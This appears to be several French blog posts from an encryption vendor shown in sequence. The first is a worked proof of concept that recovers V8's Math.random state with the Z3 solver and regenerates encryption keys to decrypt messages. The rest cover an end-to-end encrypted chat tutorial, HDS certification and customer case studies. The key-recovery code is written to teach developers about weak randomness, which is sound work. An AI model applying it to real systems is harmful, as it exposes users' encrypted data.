// > 0a8aa04aa9896320e29e2dcf12cb06c25ef853de3d49eb3fa28e3b336629e74bd834ca0f66c013e207006c179dd021af8980f9b4014300164e04ce9ab5388243b04bd7195b9dee9a31ccb307bfcf416ed0208c24d6d2a69106ff55937a82398b3a8c2b836e111e2556bd6bf76dae75e0

Décrypter

L'objectif est de décrypter encryptedMessage1 et encryptedMessage2. Pour cela, il nous faut retrouver keyEnc qui a été générée avec le PRNG de V8 (keyMAC n'est pas utile pour déchiffrer, seulement pour vérifier l'intégrité).

Vu que le même PRNG a été utilisé successivement pour générer keyEnc, keyMAC, l'IV du message 1 puis l'IV du message 2, et que IV 1 et IV 2 sont connus étant donné qu'ils sont préfixés à chaque message (ce sont les 16 premiers bytes), il est possible de les utiliser pour retrouver l'état du PRNG à ce moment là. Une fois cet état retrouvé, il reste à exécuter le PRNG de V8 dans l'autre sens pour remonter vers l'état précédent, regénérer le tirage de Math.random() ayant engendré keyEnc, et voilà 🙌.

PS: Quand on déchiffre sans la clé, on dit bien décrypter.

Décoder les nombres

Concrètement, il faut commencer par décoder les deux IV pour retrouver les nombres issus de Math.random() le constituant. En substance, c'est la fonction inverse de floatsToBytes, que l'on va appeler bytesToFloat. Son implémentation est accessible sur le repository GitHub du projet, mais n'apporte rien à l'explication.

Si bytesToFloat est utilisée directmenet sur la concaténation de IV1 et IV2, cela ne donnera pas un résultat cohérent. Il faut appeler bytesToFloat à partir d'une mantissa complète, or 64 bytes ont été générés avant IV1 et IV2 (pour keyEnc et keyMac), soit 512 bits. Il faut donc tronquer le premier byte de IV1 pour démarrer au 11è nombre généré par weakRandomBytes :

const iv1 = encryptedMessage1.subarray(0,16)
const iv2 = encryptedMessage2.subarray(0,16)

const bytes = Buffer.concat([iv1, iv2]).subarray(1)

const numbers = bytesToFloats(bytes)
console.log(numbers)
// > [
//     0.42960457575886557,
//     0.6602354429041057,
//     0.5807195083867396,
//     0.17820561686270375
//   ]

Retrouver les états de XorShift128+

Cette étape est probablement la plus intéressante, et est largement inspirée du projet v8-randomness-predictor.

Le principe est qu'en utilisant le moteur de calcul formel Z3, on peut définir des équations, et le solveur va chercher la solution.

Ayant une série de valeurs consécutives pour Math.random(), cela permet donc d'établir autant d'équations qu'il y a de valeurs en écrivant avec Z3 l'algorithme XorShift128+ utilisé par V8.

export const findXorShiftStates = async (numbers: number[]): Promise<State> => {
    const {Context} = await init();

    const {Solver, BitVec, interrupt} = Context('main');
    // On définit deux variables qui sont les valeurs d'arrivée de XorShift128+
    const targetState0 : BitVec = BitVec.const('target_state0', 64)
    const targetState1 : BitVec = BitVec.const('target_state1', 64)

    let currentState0: BitVec = targetState0
    let currentState1: BitVec = targetState1
    const solver = new Solver();

    // Les valeurs de `Math.random` sont en fait générées à l'avance par V8 et dès qu'on appelle `Math.random`, cela nous ren un résultat pré-généré **dans l'ordre inverse de génération** (en LIFO)
    // cela veut dire que quand on a des valeurs consécutives de `Math.random` il faut appliquer XorShift128+ pour obtenir la **précédente** et non la suivante.
    // C'est pourquoi les nombres sont ici pris dans l'ordre inverse
    for (let i = numbers.length - 1; i >= 0 ; i--) {
        let s1 = currentState0
        let s0 = currentState1
        currentState0 = s0
        s1 = s1.xor(s1.shl(23))
        s1 = s1.xor(s1.lshr(17))
        s1 = s1.xor(s0)
        s1 = s1.xor(s0.lshr(26))
        currentState1 = s1
        // Le "+1" est simplement l'opération inverse de ce que fait V8 pour extraire un nombre à partir de state0: https://github.com/v8/v8/blob/a9f802859bc31e57037b7c293ce8008542ca03d8/src/base/utils/random-number-generator.h#L111
        const mantissa  = floatToMantissa(numbers[i] + 1)
        // On ajoute ici l'équation au solveur
        solver.add(currentState0.lshr(12).eq(BitVec.val(mantissa, 64)))
    }
    // On vérifie que le solveur trouve un résultat
    if (await solver.check() === 'sat') {
        const model = solver.model()

        // on récupère les valeurs
        const state0Sol = model.get(targetState0) as BitVecNum
        const state0 = state0Sol.value()
        const state1Sol = model.get(targetState1) as BitVecNum
        const state1 = state1Sol.value()

        interrupt()

        // et on retourne cet état
        return [state0, state1]
    }

    throw new Error('could not find solution')
}

Une fois qu'on a trouvé cet état, il est possible de calculer la valeur de Math.random suivante simplement en exécutant l'équivalent de ToDouble dont l'implémentation est disponible sur le repository du projet sur GitHub mais n'apporte rien à l'explication.

En combinant ces deux fonctions, le prochain Math.random vaut: 0.5602436318742325.

Remonter les nombres précédents

À partir de state0 et state1, il suffit d'appliquer  XorShift128+ pour obtenir les états suivants du PRNG de V8, la fonction inverse pour les états précédents.

En revanche, il ne faut pas oublier que V8 génère à l'avance les nombres, et les ressort à l'envers, donc pour obtenir le Math.random précédent, c'est l'état suivant de XorShift128+ qu'il faut calculer et non le précédent.

Pour cela, voici une implémentation de XorShift128+ en Javascript:

export const xorShift128p = ([seState0, seState1]: State): State => {
    let s1: bigint = seState0
    let s0: bigint = seState1
    // Les BigInt sont de taille arbitraire, c'est pourquoi un décalage de bits vers la gauche allonge le bigint au lieu de le tronquer. BigInt.asUintN permet de simuler un décalage de bits correct.
    s1 ^= BigInt.asUintN(64, s1 << 23n)
    s1 ^=  s1 >> 17n
    s1 ^= s0
    s1 ^= s0 >> 26n
    return [seState1, s1]
}

Qu'il est alors possible d'utiliser pour remonter les nombres précédents en faisant une boucle :

let state: State = await findXorShiftStates(numbers)

// 14 fois parce qu'il y en a 4 pour les IV, puis 10 pour les 65 bytes précédents.
const previousNumbers = []
for (let i = 0; i< 14; i++) {
    state = xorShift128p(state)
    previousNumbers.unshift(extractNumberFromState(state))
}

Regénérer la clé

Enfin, il suffit à partir de ce tableau de nombres d'encoder les bytes correspondants, de découper la clé au bon endroit et de déchiffrer :

const predictedRandom = floatsToBytes(previousNumbers).subarray(0, 64)

const keyEnc: Buffer = predictedRandom.subarray(0, 32)
const keyMAC: Buffer = predictedRandom.subarray(32, 64)
    
console.log('message1:', checkMacThenDecrypt(encryptedMessage1, keyEnc, keyMAC).toString('utf8'))
console.log('message2:', checkMacThenDecrypt(encryptedMessage2, keyEnc, keyMAC).toString('utf8'))
// > Your password is:Se@ld-i5-great
// > This PRNG works! Amazing, no need to make a fuss around CSPRNG

And voilà.

Conclusion

Ce PoC est conçu pour être cassé facilement :

• floatsToBytes est très facile à inverser, elle est faite pour qu'il n'y ait aucun retraitement après le Xorshift128p+
• les clés sont générées consécutivement aux IVs, et cela est garanti par une prégénération de 128 bytes de random consécutifs dans le PRNG. Si ces générations n'étaient pas parfaitement consécutives, il ne serait pas aussi facile de remonter le PRNG, et V8 pourrait éventuellement rafraichir le générateur en changeant le seed (ce qu'il faut au plus tous les 64 appels à Math.random qui est la taille du cache), ce qui rendrait le cassage plus difficile, mais pas du tout impossible.

Toute "bidouille" sur cet algorithme ne ferait que ralentir la rédaction d'un PoC, mais ne l'empêcherait pas.

Il est donc impératif d'utiliser un générateur d'aléa cryptographiquement sûr (CSPRNG) ✅.

Le code complet du projet est disponible sur Github.

Conclusion

Cet article n'est bien sûr pas fait pour être exhaustif. L'objectif est de sensibiliser les développeurs quant au fait qu'il ne suffit pas d'utiliser une primitive qui a un nom robuste, comme AES, et de tester que le decrypt fonctionne pour déchiffrer une sortie de encrypt.

Chez Seald, nous proposons aux développeurs de ne pas se soucier de ces problématiques bas-niveau et de se concentrer sur l'essentiel : les fonctionnalités.

GetStream.io offre une messagerie en temps réel avec une infrastructure fiable et des SDK riches en fonctionnalités. L'un des principaux arguments de vente de GetStream.io est la disponibilité de composants d'UI prêts à l'emploi. Avec la prise en charge de React Native, React, Android, Flutter, iOS/Swift,... vous pouvez rapidement créer une application de messagerie sans avoir à créer vous-même chaque composant d'UI.

Seald.io propose un SDK de chiffrement de bout-en-bout, très simple à utiliser.

Le chiffrement de bout-en-bout est la technologie la plus sécurisée qui soit, mais c'est aussi la plus complexe et la plus longue à mettre en œuvre (gestion des clés, récupération des comptes utilisateurs, etc.).

Pour simplifier son adoption, Seald a développé un SDK associé à une API, qui vous permet d'ajouter le chiffrement de bout-en-bout dans vos applications en quelques lignes de code, sans aucune connaissance préalable en cryptographie.

La solution bénéficie d'un visa de sécurité (CSPN) délivré par l'ANSSI, qui vous assure un modèle de sécurité robuste.

Grâce aux API et aux composants SDK mis à disposition par Stream, nous pouvons y intégrer le chiffrement de bout-en-bout de Seald.

Assez d'introduction, voyons ce que nous allons construire et comment nous l'avons abordé !

Le but

• Les messages ne doivent être lisibles que par les membres d'une conversation.
• Les messages ne doivent pas être lisibles dans le tableau de bord de l'administrateur du flux.

Services

• API de messagerie : backend nodeJS personnalisé pour gérer toutes les fonctionnalités GetStream et Seald côté serveur. Avoir une base de données postgreSQL où nous stockons les utilisateurs de Seald.
• API des utilisateurs : backend nodeJS personnalisé pour gérer tout ce qui concerne les utilisateurs.

La mise en œuvre

Commençons notre application par un écran d'inscription où l'utilisateur peut saisir ses coordonnées. Lorsqu'un utilisateur s'inscrit avec succès, nous pouvons l'authentifier avec notre fournisseur d'authentification.

Le fournisseur d'authentification renvoie un code JWT qui peut être utilisé dans l'ensemble de l'application.

{  "accessToken":  "eyJ2ZXIiOiIxLjAiLCJraWQiOiIzYWMxMTjYwZi0yMzhm..."}

Nous souhaitons connecter l'utilisateur aux serveurs GetStream, et nous devons donc récupérer un jeton JWT auprès de GetStream. Un point de terminaison de notre API de messagerie s'en chargera. Utilisez l'ID utilisateur de votre fournisseur d'authentification pour créer un jeton auprès de GetStream.

import { StreamChat } from 'stream-chat';
const serverClient = StreamChat.getInstance(STREAM_KEY, STREAM_SECRET);

export async function getMessagingToken(id: string) {
  return serverClient.createToken(id);
}

Nous allons stocker ce jeton de messagerie dans notre application react-native. Nous utilisons pour cela Zustand ❤️. En utilisant ce jeton, nous sommes maintenant en mesure de connecter un utilisateur à notre client GetStream.

const client = StreamChat.getInstance(config.stream.apiKey);

 const init = useCallback(async () => {
    try {
      // First disconnect any user that was still connected.
      await client.disconnectUser();
      await client.connectUser(
        {
          id: connectedUserId,
        },
        // Use the JWT token received from our messaging API endpoint.
        messagingToken.accessToken,
      );

      logger.verbose('ChatClient initialized');
    } catch (error) {
      logException(error);
    }
  }, [messagingToken, connectedUserId, client]);

Passons à l'étape suivante de notre processus d'intégration. Nous devons maintenant initialiser notre 2FA avec Seald. Nous avons créé un écran où l'utilisateur peut entrer son numéro de téléphone.

Lorsqu'un utilisateur saisit son numéro de téléphone, nous devons envoyer un challenge que l'utilisateur peut saisir sur l'écran suivant. Nous avons créé un hook personnalisé useTwoFactorAuth pour gérer la configuration de 2FA.

Pour effectuer les appels à l'API, nous utilisons react-query. Je ne vais pas me plonger dans chaque hook personnalisé, les 3 hooks ci-dessous récupèrent des données avec react-query à partir de nos points d'API.

const { signup, isLoading } = useSignupSeald();
const { fetchMe, isLoading: isLoadingFetchMe } = useMeSeald();
const { sendChallenge, isLoading: isLoadingSendChallenge } = useSendChallenge();

Lorsqu'un utilisateur n'existe pas encore, nous appelons le point d'API signup. Ce point d'API s'assurera que l'utilisateur est sauvegardé dans notre base de données postgreSQL et qu'une clé TwoManRuleKey est créée et stockée dans notre base de données. Pour en savoir plus sur la protection en 2-man-rule, vous pouvez consulter la documentation.

  const setup2FA = async (phoneNumber: string) => {
    let user: OnboardedUser;

    try {
      // The messaging API will be called to fetch an existing seald user, this is needed because the login will also execute this setup2FA hook.
      user = await fetchMe();
      // It's possible that the user early killed the application while the signup was still busy. If we were not able to
      // store an activation key, we need to signup the user again to receive one needed for the initiation of the identity.
      if (!user.activationKey) {
        user = await signup();
      }
      // eslint-disable-next-line @typescript-eslint/no-explicit-any
    } catch (error: any) {
      // User does not exist
      if (error?.error?.type === MessagingApiErrorType.USER_NOT_FOUND) {
        user = await signup();
      }
    }
  };

Pour que Seald puisse fonctionner correctement, nous devons générer un jeton de licence utilisateur dans notre backend. Voir la documentation pour plus d'informations sur la manière de procéder. Chaque fois que le point d'API permettant de récupérer l'utilisateur ou de l'inscrire est appelé, un jeton de licence est généré et renvoyé par notre API.

Lorsqu'un utilisateur existant se reconnecte, le point d'API fetchMe renvoie la réponse suivante :

{
   "id":"0015r00000OxGgIAAV",
   "isEnrolled":true,
   "sealdId":"TESTING_0015r00000OxGgIAAV",
   "twoManRuleKey":"VCl2Z0U+LYZ6Fq2rjm40PFrYWlrLDIsSRgGufKo9wJGlxDAU+5mUwji21g2G86GzN3dLKsrdWmYbPZn0QTGa9g=="
}

Lorsqu'un nouvel utilisateur est créé lors de l'inscription, la réponse du point d'API signup est la suivante :

{
   "activationKey":"dbbb72c5-b2c5-47db-ad4c-5dfec91918df:5b1f82d5f3cb073c0103a4aa55bdd900777a4b3b4b89b99d906af533f3358a6e:7f24176eff547227984710ac5b2d858b3a78af509225f5b6cdc41197254dd81a02b16d893b176ffd70c952b87c4ba95a1f98b9f0bc3d0926f117e832fa45a9f3",
   "id":"0015r00000Q0DQcAAN",
   "isEnrolled":false,
   "sealdId":"TESTING_0015r00000Q0DQcAAN",
   "twoManRuleKey":"miSTd8ad7FrtvNSMee+uLDLgj+tYCPf9iENm3CzsytILSw5YuMI1TEOtEF7sU46f4qa6KVF+wb3tU1cdbLzTBA=="
}

Maintenant que notre utilisateur est créé, nous pouvons envoyer le challenge à l'utilisateur et initier l'identité Seald avec la clé d'activation.

 if (user) {
      // The activation key is the user licence token from seald.
      const { sealdId, activationKey } = user;

      // Create session in seald, send challenge to user.
      await sendChallenge({ phoneNumber });

      if (sealdId && activationKey) {
        await seald.initiateIdentity(sealdId, activationKey);
      }
    }

La commande sendChallenge appellera le point d'API qui met en œuvre l'envoi d'un challenge conformément aux spécifications. Seald créera une "session" et cette session sera requise lors de la sauvegarde ou de la récupération de notre identité Seald.

{
   "mustAuthenticate": true,
   "twoManRuleKey":"miSTd8ad7FrtvNSMee+uLDLgj+tYCPf9iENm3CzsytILSw5YuMI1TEOtEF7sU46f4qa6KVF+wb3tU1cdbLzTBA==",
   "twoManRuleSessionId":"c1c2b55f-f119-4a88-8a0d-e95512e3c667"
}

Nous pouvons maintenant passer au dernier écran de saisie du challenge.

Un hook personnalisé sera appelé lorsque le challenge a été saisi :

export const useSaveOrRetrieveSealdIdentity = () => {
  const { updateUser } = useUpdateUser();
  const { enroll } = useEnroll();

  const sealdId = useStore(state => state.sealdId);
  const twoManRuleSessionId = useStore(state => state.twoManRuleSessionId);
  const twoManRuleKey = useStore(state => state.twoManRuleKey);
  const mustAuthenticate = useStore(state => state.mustAuthenticate);
  const userEnrolled = useStore(state => state.isEnrolled);

  return {
    saveOrRetrieveIdentity: async (phoneNumber: string, challenge: string) => {
      // Store phone number for later login purposes.
      await updateUser({ c_recoveryPhoneNumber: phoneNumber });

      // If user was already enrolled, the identity already exists so we need to retrieve it.
      // SSKS will be called, and the identity will be retrieved.
      if (userEnrolled) {
        await seald.retrieveIdentity(
          sealdId,
          twoManRuleSessionId,
          twoManRuleKey,
          challenge,
          phoneNumber,
        );
      } else {
        await seald.saveIdentity(
          phoneNumber,
          twoManRuleKey,
          sealdId,
          twoManRuleSessionId,
          mustAuthenticate,
          challenge,
        );

        if (!userEnrolled) {
          enroll();
        }
      }
    },
  };
};

Nous avons maintenant établi une identité sécurisée et pouvons utiliser cette identité pour créer des sessions sécurisées entre deux utilisateurs 🙌

Créer une messagerie instantanée sécurisée

GetStream.io nous offre des composants d'UI qui s'intègrent facilement dans notre application react-native. Nous avons modifié certains composants de GetStream, mais dans cet exemple, je ne montrerai que les choses nécessaires.

Lorsque vous créez un écran pour le chat, vous pouvez commencer par une implémentation de base comme celle-ci :

  import { Channel, Chat } from 'stream-chat-react-native';

  const client = StreamChat.getInstance(config.stream.apiKey);
  const channel = client.channel("messaging", id, ["member1", "member2"]);

  return (
    <Chat client={client}>
        <Channel channel={channel} /> // Channel you created between two members.
    </Chat>
  );

Sans chiffrer/déchiffrer les messages, la messagerie se présente comme suit :

Mais nous voulons pouvoir envoyer des messages chiffrés de bout-en-bout. Nous devons donc changer la méthode doSendMessageRequest. Comme vous pouvez le voir, nous chiffrons notre message à l'aide d'une session de chiffrement. Cette session de chiffrement doit être créée lors de la création de votre conversation.

Lorsqu'une session de chiffrement est créée entre deux utilisateurs, nous stockons l'ID de la session dans les métadonnées de la conversation dans GetStream, afin qu'il puisse être réutilisé pour récupérer une session de chiffrement.

const channel = client.channel("messaging", id, ["member1", "member2"]);
  await channel.watch();

  let session: EncryptionSession;

  if (channel.data?.session_id) {
    session = await seald.retrieveEncryptionSession(channel.data.session_id);
  } else {
    session = await seald.createEncryptionSession(members.map(member => member.sealdId));
    await channel.updatePartial({ set: { session_id: session.sessionId } });
  }

  const sendMessage = async (_channelId: string, message: Message) => {
    const encryptedText = await encryptionSession.encryptMessage(message.text || '');
    return channel.sendMessage({ ...message, text: encryptedText });
  };
  
  return (
    <Chat
      client={client}
    >
        <Channel
          channel={channel}
          doSendMessageRequest={sendMessage}
        />
    </Chat>
  );

Si nous envoyons maintenant un autre message, vous pouvez voir que le texte du message est maintenant chiffré et illisible.

Nous devons changer le composant MessageText pour afficher le message.

return (
    <Chat
      client={client}
    >
        <Channel
          channel={channel}
          doSendMessageRequest={sendMessage}
          MessageText={(props: MessageTextProps) => (
            <DecryptedMessageText
              {...props}
              channel={channel}
              session={encryptionSession}
              onError={handleDecryptionError}
              onFinished={handleDecryptionEnd}
            />
          )}
        />
    </Chat>
  );

Notre composant DecryptedMessageText utilisera notre session de chiffrement pour déchiffrer le message.

import { useEffect, useRef, useState } from 'react';
import { useTranslation } from 'react-i18next';
import type { EncryptionSession } from '@seald-io/sdk/lib/main';
import type { MessageTextProps, MessageType as Message } from 'stream-chat-react-native';

import type { LocalChannel } from 'core/chat/types';

interface Props extends MessageTextProps {
  channel: LocalChannel;
  session: EncryptionSession;
}

const decryptMessage = async (text: string, session: EncryptionSession) => {
  try {
    // If we have  JSON, it can be decrypted.
    JSON.parse(text);
    try {
      if (!session) {
        throw new Error('EncryptionSession is undefined');
      }
      return await session.decryptMessage(text);
    } catch (err) {
      logException(err);
      return false;
    }
  } catch (err) {
    // Otherwise it's just plain text
    return text;
  }
};

const DecryptedMessageText = ({
  channel,
  session,
  message,
  renderText,
  theme,
  ...rest
}: Props) => {
  const { t } = useTranslation();
  const decryptedMessage = useRef<Message>(message);

  useEffect(() => {
    const decrypt = async () => {
      if (message.text) {
        const text = await decryptMessage(message.text, session);
        if (text === false) {
          // Handle errors
          return;
        }

        decryptedMessage.current = {
          ...message,
          text,
        };
      }
    };

    decrypt();
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [message, session]);

  return renderText({
    ...rest,
    message: decryptedMessage.current,
  });
};

export default DecryptedMessageText;

Notre message est maintenant déchiffré et de nouveau visible pour les membres de la conversation.

Lorsque nous jetons un coup d'œil au tableau de bord de GetStream.io, nous pouvons également voir que nos messages ne sont pas lisibles, et qu'ils sont donc chiffrés de bout-en-bout 💪.

Conclusion

Ps : vous utilisez PubNub plutôt que Stream ? Voici un article qui explique commente intégrer Seald dans PubNub.

Nous sommes en juin 2023, une époque où chaque mois nous pouvons lire qu’une nouvelle fuite de données médicales a eu lieu.

Plus que jamais, les responsables techniques des solutions de e-santé ont besoin de comprendre la différence entre la certification HDS et le chiffrement de bout-en-bout.

La certification HDS et le chiffrement de bout-en-bout sont deux notions distinctes, et ont tous deux un rôle essentiel à jouer dans la protection des données de santé. Il est donc crucial de les distinguer et de les intégrer efficacement dans la stratégie de sécurité des données de santé.

Qu’est-ce qu’une certification HDS ?

Il existe plusieurs périmètres pour l’HDS divisés en deux grandes catégories :

• « Hébergeur d’infrastructure physique » qui encadre la façon dont l’hébergement est physiquement géré.
• « Hébergeur infogéreur » qui encadre la façon dont l’hébergement est administré.

La certification est délivrée après un audit, qui vérifiera point par point le référentiel de certification, équivalent aux normes ISO 27001 et ISO 20000.

L’objectif est de vérifier la bonne gestion des serveurs : mise à jour, sauvegardes, chiffrement des connexions, protections physiques, accès à privilège, etc. mais sans rentrer dans le code applicatif ou seulement marginalement.

Bien qu’un flou existe sur la nécessité que les éditeurs et fabricants de dispositifs médicaux soient certifiés pour leur activité d’infogérance, tout fournisseur de solution portant sur des données de santé à caractère personnel pour le compte d’un patient ou d’un professionnel de santé est tenu d’être certifié.

C’est pourquoi certains éditeurs délèguent à des tiers infogéreurs le déploiement de l’application qu’ils éditent pour ne pas avoir à passer cette certification eux-mêmes, mais ces éditeurs n’ont alors pas accès à leurs propres serveurs de production, seuls les infogéreurs y ont accès.

En prenant un peu de recul, la certification HDS quel que soit le périmètre se concentre sur la sécurité de l’infrastructure et de sa bonne gestion (c'est déjà un très bon pas en avant) !

Néanmoins, en aucun cas le fait d’avoir une certification HDS empêche l'infogéreur de lire les données, ou empêche un attaquant de pénétrer le serveur grâce à une faille applicative. Le seul chiffrement obligatoire dans HDS est pour tout ce qui rentre et sort de l’hébergement, c’est-à-dire de l’HTTPS concrètement (ce qui est dérisoire)… HDS n’inclut pas du tout du chiffrement de bout-en-bout.

Il est tout à fait possible d’utiliser un serveur HDS et de ne pas faire de chiffrement sur les données au repos ou de bout-en-bout. Pour autant, le RGPD s’applique aussi sur les données de santé, et ce règlement requiert l’implémentation de chiffrement minimisant les droits d’accès à leur strict minimum : du chiffrement de bout-en-bout dès qu’il est possible.

Qu'est-ce que le chiffrement de bout-en-bout ?

Pour bien comprendre à quoi sert le chiffrement de bout-en-bout, il est important de rappeler rapidement les autres techniques de chiffrements communément utilisées.

Le chiffrement en transit

Le chiffrement en transit (comme du TLS) permet de sécuriser un « tuyau », tout ce qu’il y a dedans est protégé. Avant et après le tuyau, ça ne l’est pas.

Le chiffrement au repos

Le chiffrement au repos (comme du chiffrement de disque dur, de base de données ou de stockage objet) permet de sécuriser les données lorsqu’elles ne sont pas utilisées. Si quelqu’un s’introduit dans le bâtiment qui contient les disques durs contenant les données et les vole, il ne pourra rien en faire. En revanche, si quelqu’un accède au backend (via une faille applicative par exemple), il aura accès à tout.

Le schéma ci-dessus représente l'architecture de sécurité des données de la majorité des applications dans le monde. On voit que le serveur backend a accès aux données des utilisateurs, et donc quiconque qui accède au serveur backend aussi.

Le chiffrement de bout-en-bout

Le chiffrement de bout-en-bout protège les données depuis l'appareil de l'expéditeur, le premier "bout", jusqu'à l'appareil du destinataire final, le second "bout", sans interruption. Cela garantit que les données sont accessibles uniquement par l'expéditeur et le destinataire final.

Pas même l’hébergeur des données, le développeur de l’application, un quelconque administrateur, ou un gouvernement, et par extension toute personne malveillante s’en prenant à un ou plusieurs de ces intermédiaires ne pourront accéder aux données.

Si une application utilise du chiffrement de bout-en-bout, cela garantit que les employés de l’entreprise éditant ou infogérant l’application ne pourront pas accéder aux données hébergées comme les conversations, fichiers ou autres, que l'hébergeur soit HDS ou non.

À l'inverse, sans chiffrement de bout-en-bout, le non-accès aux données dépend du bon vouloir de l’entreprise, parce qu’il n’y a aucune mesure technique garantissant que ses employés ne peuvent pas y accéder.

Si un employé est malveillant, négligeant, ou simplement qu’une vulnérabilité "zero day" est découverte permettant à un attaquant de s’introduire (comme on en trouve tous les jours) et que l’hébergeur ne la patche pas assez vite, le bon vouloir de l’entreprise ne suffira pas à protéger les données des utilisateurs...

En conclusion, non, la certification HDS n’est pas du tout équivalente à faire du chiffrement de bout-en-bout.

Vous l'avez compris, Seald en fait partie 🔥

C'est aux côtés de Wimi (mais pas que 😎), que nous allons relevé ce défi.

Le projet a un objectif simple : faire de Wimi une alternative à Microsoft O365 et Google Workspace souveraine et sécurisée, rien que ça. Une solution qui s'adresse à toute organisation publique ou privée sensible à la protection de ses données professionnelles.

Le consortium d'entreprises que Wimi a su réunir autour du projet est composé de :

• Seald spécialisé dans la confidentialité des données, avec une technologie de chiffrement de bout-en-bout
• XWiki spécialisé dans les logiciels de travail collaboratif (qui édite le très connu CryptPad)
• Watoo spécialisé dans le tatouage numérique
• Linagora spécialisé dans le logiciel libre
  

Petite anecdote de notre passage en jury l'année dernière.

Lorsque nous présentions Seald et notre technologie de chiffrement de bout-en-bout, on nous a demandé avec beaucoup de scepticisme si "le serveur Wimi avait accès à chaud ou à froid aux données en clair ou aux clés permettant de déchiffrer les données ?".

J'ai beaucoup apprécié la précision de la question (c'est ce que j'appelle un bullshitomètre) et la réponse fut tout aussi précise : "non, les données sont chiffrées et déchiffrées côté client, avec des clés inaccessibles à chaud et à froid des serveurs de Wimi".

La promesse de Wimi est déjà quasiment une réalité. Ils sont en cours de qualification SecNumCloud et proposent les fonctionnalités suivantes :

• Édition collaborative de documents
• Vidéo-conférence
• Messagerie d'équipe
• Calendrier
• Drive de documents (web & desktop)
• etc.

Et quelques autres nouveautés qui arriveront dans les prochains mois 😉

Le plus gros du défi reste devant nous : au boulot 💪

Stay tuned.

Présent en France 🇫🇷 et en Allemagne 🇩🇪, la solution Recare permet de :

• Réduire la Durée Moyenne de Séjour (DMS) au sein des établissements
• Faire gagner du temps aux équipes médicales et administratives
• Centraliser toutes les demandes de transferts sur une plateforme unique

Le problème de Recare

Pour Charles Cote - CTO @Recare, la confidentialité des données médicales est son principal impératif. Il souhaite implémenter le plus haut niveau de confidentialité sur les données.

Voici les différentes problématiques auxquelles il a souhaité répondre :

• Garantir que seuls les professionnels de santé puissent accéder aux données (pas même Recare ou son hébergeur).
• Empêcher les données d'êtres volées même en cas d'accès non autorisé aux serveurs de Recare.
• Dormir sur ses deux oreilles 👂

Le chiffrement de bout-en-bout a été choisi par Charles Cote pour répondre aux problématiques de Recare. C'est une technologie qui permet d'assurer que seuls les utilisateurs autorisés pourront accéder aux données, et non les hackers, les administrateurs, les institutions, les hébergeurs, ou même Recare. En d'autres termes, cela empêche les données d'êtres volées même en cas d'accès non autorisé aux serveurs de Recare.

Cette technologie est beaucoup plus stricte que le chiffrement en transit combiné au chiffrement au repos.

Sans chiffrement de bout-en-bout :

Avec chiffrement de bout-en-bout :

Comment Seald aide Recare à résoudre ses problématiques ?

En mars 2021, Charles contacte Seald pour être accompagné dans l’intégration de chiffrement de bout-en-bout.

À cette époque, Recare avait déjà une implémentation de chiffrement de bout-en-bout, développée en interne avec des librairies open-source, et mise en place très tôt dans le fonctionnement de leur produit.

À la suite d’un audit ayant révélé que l’implémentation développée en interne n’était pas à l’état de l’art, Charles a souhaité se tourner vers une solution externe comme Seald pour plusieurs raisons:

• Cela décharge Recare d’une maintenance et d'audit internes d’un outil complexe, leur permettant de se concentrer sur l’essentiel.
• Cela garantit à Recare que les protocoles de chiffrement employés sont à la hauteur des standards.
• Cela permet de démontrer à ses clients l’inaccessibilité physique des données par Recare (ce qui est toujours arguable quand la solution est interne).

Seald intervient en proposant un SDK de chiffrement de bout-en-bout "as-a-service" pour les développeurs afin de les aider à protéger de manière absolue les données de leurs utilisateurs, sans avoir besoin de compétences en cryptographie.

Stockage des clés privées 🔐

Dans l’implémentation initiale de Seald dans Recare, chaque utilisateur pouvait récupérer une de ses clés privées:

• Dans le stockage du navigateur si l’utilisateur s’est authentifié sur ce navigateur.
• Avec un mécanisme de récupération où l’utilisateur doit recopier un OTP (one-time password) reçu par email.

En toute logique, une fois authentifié dans un navigateur, un utilisateur n’a plus besoin de se ré-authentifier, sauf si le cache du navigateur est effacé.

Le problème auquel Recare a été confronté est que plusieurs de ses clients ont la politique SI de réinitialiser le cache des navigateurs tous les jours… donc certains utilisateurs devaient chaque matin recevoir un OTP par email pour utiliser Recare : c’était inutilisable en l’état.

Pour pallier ce problème, Recare offre un autre mécanisme de récupération silencieux : celui du mot de passe. Le mot de passe est utilisé pour chiffrer une clé privée et cette clé privée chiffrée est sauvegardée de façon distante.

Le mécanisme de récupération où l’utilisateur doit recopier un OTP (one-time password) reçu par email est alors utilisé seulement en dernier recours, lorsque l’utilisateur a oublié son mot de passe et souhaite le réinitialiser.

Mise en cache des clés symétriques 🔑

Lorsque Recare a intégré Seald, la mise en cache des clés symétriques n’était pas proposée. Cela faisait que chaque déchiffrement occasionnait une requête réseau, ce qui dans leur cas pouvait ralentir le chargement des pages.

La raison pour laquelle le cache n’était pas implémenté à l’époque, et n’est toujours pas activé par défaut dans les dernières version du SDK, est que cela empêche une révocation instantanée de l’accès à une clé : la clé restera accessible à quelqu’un qui est révoqué pendant au plus le TTL du cache.

Nous avons fait 2 modifications:

1. En v0.14.0: implémenté la serialisation et la réinstanciation des clés symétriques pour permettre de créer manuellement un cache.
2. En v0.16.0: implémenté un cache optionnel, par défaut en mémoire uniquement, mais personnalisable pour permettre une implémentation d’un cache persistent.

Gestion des groupes 👫

L’intégration de Seald dans Recare est centrée autour de la fonctionnalité de groupes.

Chaque structure de soins est représentée par un groupe Seald, et chaque professionnel dans une structure de soins est membre de ce groupe.

Quand un dossier patient est émis d’une structure vers une autre il est chiffré pour le groupe émetteur et le groupe cible, et le groupe émetteur est déclaré comme étant le « managing group » pour que chaque membre du groupe puisse gérer les droits de cette clé.

Il y a aussi certains cas où le groupe n’est pas encore créé au moment où le dossier doit être chiffré (cela peut arriver la première fois qu’une structure de soins reçoit un dossier patient).

Dans ce cas, un chiffrement strictement de bout-en-bout n’est techniquement pas possible, mais on peut s’en approcher : le dossier est chiffré pour un UnregisteredUser, ce qui dépose la clé symétrique nue sur les serveurs de Seald en séquestre, et quand le groupe est enfin créé, le serveur de Recare attribue ce UnregisteredUser à ce groupe nouvellement créé, ce qui déclenche le chiffrement par les serveurs Seald de la clé symétrique pour ce groupe.

Dans ce scénario, Recare n’a jamais accès à la clé, et Seald n’a jamais accès aux données.

Les bénéfices de Seald au sein de Recare

Grâce à Seald, Recare va plus loin que les pratiques classiques de sécurité des données. Le chiffrement de bout-en-bout garantit que seuls les utilisateurs autorisés pourront accéder aux données médicales, réduisant considérablement l'impact d'une fuite de données potentielle 🛡️.

